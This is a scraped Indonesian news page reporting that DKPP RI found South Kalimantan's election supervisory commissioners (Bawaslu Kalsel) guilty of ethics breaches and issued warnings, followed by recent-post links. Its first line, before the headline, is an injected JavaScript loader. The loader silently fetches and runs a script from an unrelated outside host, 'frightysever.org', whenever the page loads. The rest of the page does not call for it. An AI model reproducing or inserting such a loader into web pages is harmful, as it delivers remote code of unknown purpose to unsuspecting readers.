(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

5 Komisioner Dapat Sanksi Peringatan, DKPP RI Putus Bawaslu Kalsel Langgar Etik!


KANALKALIMANTAN.COM, BANJARMASIN– Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI memutus terkait pengaduan Tim Hukum H2D terhadap lima komisioner Bawaslu Kalsel, Rabu (19/5/2021). Dalam putusannya DKPP menyatakan Bawaslu Kalsel melanggar etik dan profesionalitas.

Putusan DKPP terkait pengaduan laporan penyalahgunaan kewenangan yang dilakukan oleh paslon Sahbirin-Muhidin berupa pembagian bakul Covid-19.

“Kaburnya atau tidak terangnya kajian keterpenuhan atau ketidakterpenuhan setiap unsur dalam pasal dengan peristiwa atau kejadian, mereduksi (menurunkan) kepercayaan publik terhadap kinerja Bawaslu Kalimantan Selatan,” kata Didik Supriyanto, sebagai salah satu anggota DKPP RI.

Atas dasar itu, DKPP RI menjatuhkan putusan bahwa Bawaslu Kalsel tidak bekerja secara profesional dalam menangani laporan paslon Denny Indrayana.

“Dengan demikian dalil aduan Pengadu (Tim H2D) terbukti, dan jawaban Para Teradu tidak meyakinkan DKPP RI”, ucap Prof Teguh Prasetyo selaku majelis etik dalam pembacaan putusan.

Akibat terbukti tidak profesional dan tidak terbuka, seluruh komisioner Bawaslu Kalsel mendapatkan sanksi dari DKPP RI berupa peringatan.

Sebelumnya, Tim Hukum H2D mendasarkan argumentasi bahwa analisa hukum Bawaslu Kalsel menghadirkan fakta bahwa seluruh unsur pelanggaran terpenuhi, sehingga Sahbirin-Muhidin harusnya didiskualifikasi. Namun dalam kesimpulannya tiba-tiba berbelok, menyatakan unsur pelanggaran tidak terpenuhi.

Komisioner Bawaslu Kalsel tidak mau ketinggalan memberikan bantahan, dengan dalil bahwa unsur pelanggaran tidak terpenuhi. Meskipun sudah dijelaskan dengan sangat detail oleh tim hukum H2D dari halaman per halaman bahwa seluruh unsur terpenuhi.

“Saya tantang kepada saudara (para komisioner Bawaslu Kalsel) untuk menunjukkan pada halaman berapa di bagian analisa hukum, saudara nyatakan ada unsur yang tidak terpenuhi?” tegas pengacara H2D, Muhamad Raziv Barokah.

Fakta yang diungkap dan diputus oleh DKPP RI menciptakan sedikit kelegaan bagi tim H2D. Pasalnya segala dalil, bukti, dan saksi yang diajukan tempo lalu mengenai penyalahgunaan wewenang oleh petahana memang benar adanya.

“Dalil kami terbukti. Andai saja Bawaslu Kalsel tegak lurus, pastinya Sahbirin-Muhidin didiskualifikasi sejak kemarin-kemarin,” katanya.

Di sisi lain, Ketua Bawaslu Kalsel Erna Kasypiah belum berhasil dikonfirmasi terkait hasil putusan DKPP tersebut. (Kanalkalimantan.com/kk)

 

Reporter : Kk
Editor : Kk

 

 


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

15 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

20 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

20 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.